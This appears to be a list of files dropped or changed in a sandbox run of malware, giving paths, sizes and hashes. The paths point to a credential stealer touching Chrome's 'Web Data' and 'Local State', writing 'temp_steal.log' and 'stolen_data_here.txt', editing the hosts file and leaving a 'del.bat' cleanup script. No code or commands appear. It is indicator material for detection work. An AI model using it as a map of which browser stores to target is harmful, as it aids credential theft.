- SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
- SSDEEP 3:MsGl3ll:/y
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
- Size 41B
- SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
- MD5 5af87dfd673ba2115e2fcf5cfdb727ab
- SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
- SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 7f5fe21e2172e482f9d711dd5f3799cfd695ea423400b2c114c0748b5d7ff7d5
- MD5 4fddee82686862bfd54f08856e8f4ab4
- SHA1 b10ca8d1a1a92afe74c7bed88b8a098bd433c45e
- SHA512 2966a764bfa6e587c2d497e6729aa689d3ac21464fae2421325c2b4b59b31c2d9f843a2036dc09c9dad8fa45ebea5bfdf4f12aeff728909477e032f60a2edbc0
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2OErVumWnmG7:1nbZeMrv/hGtE+nmG7
- TLSH T104D3854B3A743102EDE59A722CE051BB5E3CB16D4F1595D428B620688EF2963B23D4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 122KB
- SHA256 8dccebf739137d482524c84621d6ddb91f90d0bdc5467f764e21ef16f2e4d837
- MD5 3bd321b711768ae5e3b337ec72c2651d
- SHA1 0b25967a635fca80321f94f5a0497a4630fdec52
- SHA512 6c6ab2774378319a0daaf5cfcb07240ccaea07573eab9e39a13bad43b538ae77b3369a93123cfd01a550eaca8d5a2f748edc2afb59e893f1d8a39b8d1f5a6db0
- SSDEEP 3072:1RcyfUarm0rgJRBe3XdI7qnPtyvXDpa1GJ:TcKUIgXsnK7utyfNH
- TLSH T1D6C312F3F93E5AE454EA492877D26F5D8C44F183AF2C5D0838A9704B46EC49AC70AC35
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 121KB
- SHA256 13b8e918b02eff1260ac5fffb3deccd6b31f7044a794fdfb576038849de5ec07
- MD5 fe4810132bc734088875488079dc0a92
- SHA1 fe2684c5801f1c3bdb86f8140313013eefd069ef
- SHA512 228a7b88d3e5abf97aac1e779e61e53d6ce62129d01fab606386da9004694161c91473dbe723b686b027899fd3feb1f527090a1e4cb8582861f3cc5c4dd3d686
- SSDEEP 3072:RRcyfUarm0rgJRBe3XdI7qnPtyvXDpa1GJ:XcKUIgXsnK7utyfNH
- TLSH T11EC312F7F53E5AB464DA8A28B7D35F5D8C10F193AB6C4D0535FA704A42EC89A830AC35
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 5KB
- SHA256 13cebe52ab0d60daf2ce2110662b1ac58e86bae3e9154a32e6b195751c352fc7
- MD5 c44e25d5037c980a026c13404df9bcf0
- SHA1 c0fd7074e44a07bbeb35fe2cecd38e30c667fb13
- SHA512 bc5da7f6ab95afbdf4182d95f244223978157ce72b934446e6441770d5e6b57f535d6707d8d3bf0222d003eb1cdc243b41c04da91c0eb147cd31f961329343d7
- SSDEEP 96:jC6Bd+d6+YqlHQS6tfaczygHn5fFSl8h4otop50MD5B6NGyvumdBx1Qzb1/B8JaA:jCKq6+Yq2S6FyonJiU29f1gdBElEao8a
- TLSH T141C1F776A87DDD3365B3E099B4423E83CEA5627FA6202F54DADA0B0C12E74DD1343623
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 4KB
- SHA256 3a4285c67910b4319f40eccece2c498b28766f40757f557153523c6fdce23719
- MD5 9d1a1337471efffc3e852a522a472863
- SHA1 c9677fbce88be1eb6dd44aaf3173a3e6ddb871df
- SHA512 8b71f9f45f60a5b6a3df4617814dcc0bac69c3b8c9e876853c7fc51ecc5f8ce21e1462e2c659aeecfe656e779ed3c7f3d6b655b61a11aaa4d0a50a6f979be7f6
- SSDEEP 96:/C6Gd+d6+YqlHQS6tfaczygHn7fORDotok50RD5B6OdGyvuXvZZWybhvv4a:/Cpq6+Yq2S6Fyon4DUDyfZwVZ8ybhL
- TLSH T1FFA10972A87A9D77557AD48879827E43CEA9626B66206F84A9DD0F0C52F70EC0303213
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
- Size 599B
- SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
- MD5 658ab8c32d4cc5deb36ac5f63da4658b
- SHA1 30c12cd871ff0c2c4098d794e9ae4f2540586813
- SHA512 a73030c008ef3c2e274f11c90bfe79fa8ae402f76801c710bed8cc1ab1218a84858ea566b772be4bade8ef639a019c57d297028df15b64b3753482cf0f3c8f85
- TLSH T12AF05C83EB6A1B72C456123DC8EE56E47B31D1846EC11367A2107B1D3C2B7192D174BD
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 309B
- SHA256 9273e52018ec799384f7168edc984f6211723484f0e672f91fec40735f04bb01
- MD5 e8da467f692e614b75a4eb4a4b9c56e6
- SHA1 80bd2986d7f516d9ea187f58aa490a488895066f
- SHA512 0b78136203ca121631dcc775c6418d9a8df84edfb56332d311b606712f4d163a14362ff30dfb3131f3b7048c1cc67facd931bacdc8bd59b6356eb86135614a1c
- TLSH T1C7E07D4B615CC5A50005913B80F28D0CE0F0541877276E609751DD0D37518D699F2142
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 310B
- SHA256 50ddf566dc755e8b28d96c6999afa4bb2e9c315375cddd82bd6ce675188b4c56
- MD5 7486c847fe57565f5df3cef5b5cb37e9
- SHA1 8032fe0fac4fc291b9c6b2cecf7b79bafe4171bd
- SHA512 18060e23666e83ca34b246b6f55a59889df10a2960e4febb3f254e8370dfd2bc312fa1e5a7508387701ef1f4218a65fdca6f029d1195950285ee9c90eaf36571
- TLSH T199E07D4B615CC5A50005913B80F28D0CE1E154187B276E209751DD0E374189699F2142
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4080_1874121159\CRX_INSTALL\_locales\en\messages.json
- Size 450B
- SHA256 c0945dd5fdecab40c45361bec068d1996e6ae01196dce524266d740808f753fe
- MD5 dbedf86fa9afb3a23dbb126674f166d2
- SHA1 5628affbcf6f897b9d7fd9c17deb9aa75036f1cc
- SHA512 931d7ba6da84d4bb073815540f35126f2f035a71bfe460f3ccaed25ad7c1b1792ab36cd7207b99fddf5eaf8872250b54a8958cf5827608f0640e8aafe11e0071
- TLSH T1D3F055CB9000FC5E538BC00EB10072282BA603E01AD1726724EC1C0E67DFDAEB143F9A
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 243KB
- SHA256 2211c324fff6ab6695bc7150922a18580e42e478d08e90929c7e33a705c7544f
- MD5 26af1c11cc3d4b9f34e1d36d6fe3e727
- SHA1 672c191c14684254afe89b80b0c5770678f69df6
- SHA512 5e1098ae16ae0d6031180c17ba0d84bea6e5de6d01d55257969f8b227b29b9797cb57a3053fa3f363efe6d29606bf836ecfe532bd08982497cc38cdd287d5a55
- SSDEEP 6144:rcOBwnh+QokBBc3kWFBWxDtfxxMKvIG+zn/DKO:rhBih+oWFB6tUKwG8n7
- TLSH T1A9343A50C2B3DE6A05865AAB181673D0B439FBB0C2ECD0FB21B66E63F4778B2D358515
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\wallpaper.bmp
- Size 4KB
- SHA256 ff5d6090f4a63331b7f553e06c91b3841db6733487a481b6b335aea8e391e2ba
- MD5 b6420775e08951e16356e920cfec91f3
- SHA1 3f5e8a47f4f479d017573cf9f66149462775fc1a
- SHA512 959e113e395d0d3894cab7c990c41967bded7163239c6cab7ad37159ecccd4cc4cc6887aefa6a9720a63c7bdf0829982069c31015ac1dac98e41807a0e2084e6
- SSDEEP 48:LCQEOFpvgedSkJspMIQZCVI1XQvh5TsHRyQpgO2q:ebFzkJse7cO1AvHIHUQppF
- TLSH T17AA11E62F84EC2B5105B87A58F60103CA9CF5DDCE3A00D544A6B4C558AC6CA8BF78F6F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper
- Size 4KB
- SHA256 40cd248f3e38a9beead78a0eba0ef6071b25e93bc9cff5b8379e05e5fcd97532
- MD5 be71df174301a25259b48578cecb71ed
- SHA1 89ddbd7db0979177b746f2b6743df7b26ff53462
- SHA512 0e6760e23443928b1f0aec20e9a84a59298e4edc2872ec821089a1c4c8893f155b9a0e711c2c67e7775b97bc6b8e2bfc35e00321ae1d910047ecc1473bf20ee1
- SSDEEP 48:LV2CbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbCX/WC00wYRy:pYRQCgO5tfBJl0XTvNEe
- TLSH T16CA1E1DF8489DEB2FC7A862699CF036A68A045E672312EC7C2D070ED0F61B585FD415B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper
- Size 4KB
- SHA256 e8d4ed525c487636e5b9d53fc7b1397642bdef8e4f81aa25dff6985252ddabfe
- MD5 544f27766c953827240652edfefa6a52
- SHA1 9cac3b918598fb383d316f342272210b70cf916f
- SHA512 c1fd09603b33018811005cd7a8e82a87319bed2ea4f94cfe7f1b857a7569f16c9986e80c5e5af90fed44b54f61e137814c936cc0649eb598883a3549a36f518d
- SSDEEP 48:L0CaOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOAM4vYw/LhdW:DxSYw1d3gOmtjqeSA+tluKAjcg
- TLSH T1EAA18AED950CCCF96863631089EF036A8C4400E927652ECBD7A530ADA335F585FE686C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\ImportantDocument.lnk
- Size 1KB
- SHA256 d0f7ec2dcaaa28ed825d6fd3a52b14f850b3d9580ef6e9c327ed55cf0b61f660
- MD5 27644db40316a6b431673a221eb66391
- SHA1 882d33250d7b4029b89f51391a9fb23a185e4b44
- SHA512 cf0c76d86fdd3591a46c0140ba29e70e519716fe0730c42febd66938a61fa227152a5830d1e88d4d59644e9f6048b3d5f9d628617df248452cde7e76ed089e69
- TLSH T1B62110265AF24B63F83EC67694F2AB1A9275B8D273225E5D4280A3081C31253BC94B1E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\Desktop\Important_Document.lnk
- Size 1KB
- SHA256 b253afc211125516d23a70d17a02e5eaca9a7eb2013d6cfc1e7eb71173a523d5
- MD5 e34dbaa570318e76510d781bd1a81356
- SHA1 1e91dc5b42bc7a13b90457d38c301d3ba3cb5265
- SHA512 587fbdfa4e1ff21fa5148041e296f3964e8ab3f0ce80dcbd3bffbe3ae5c7ebc8aa9003c231542ac09741b65b8923fb2867e2739fd7dd4d09b90fbabc5eb4434d
- TLSH T1A42162261EF64B73F83AC63594F2AF16D674B8D232225E5E428093091C31243BC90B1E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 243KB
- SHA256 98f74b1fdf26609a836f7e037447ad02c06566676dd55a9a0eb5358166f26183
- MD5 423aed463c6cf3891f98686a24319d0b
- SHA1 b9499e08be9649b1c13712dcecda300adb648fe3
- SHA512 b59fedd36d4e434c510f2ce15503b8eb62d1c52c6d41c59b81b4bacd9282e04b7369d0f2ece85fcb4e06806935f3bdf6234fa3f6d792ee2a23906ccc3e9ea922
- SSDEEP 6144:4cOBwnh+QokBBc3kWFBWxDtfxxMKvIG+zn/DKE:4hBih+oWFB6tUKwG8nl
- TLSH T1B9343A50C2B3DE6A05865AAB181673D0B439FBB0C2ECD0FB21B66E63F4778B2D358515
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
- MD5 20c351356d10acf150d790bfa940d4ca
- SHA1 cb3f2a2b2e9e4a96bf64b1439cfcfe9e8e77e426
- SHA512 d1432210bd44c3ade5ea85be5c6df72a420bd7a1e610c574cdfd39b9d2b7e6d6205cf4daac5f0b8479e2d7784ba1d74ab3e752ea0eb2eb853460225b452a5fe6
- TLSH T10B218835064991AC26F381A50429F42FE31FE0FB0DABD9C93A8DC54E3BA1A1C53A2649
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH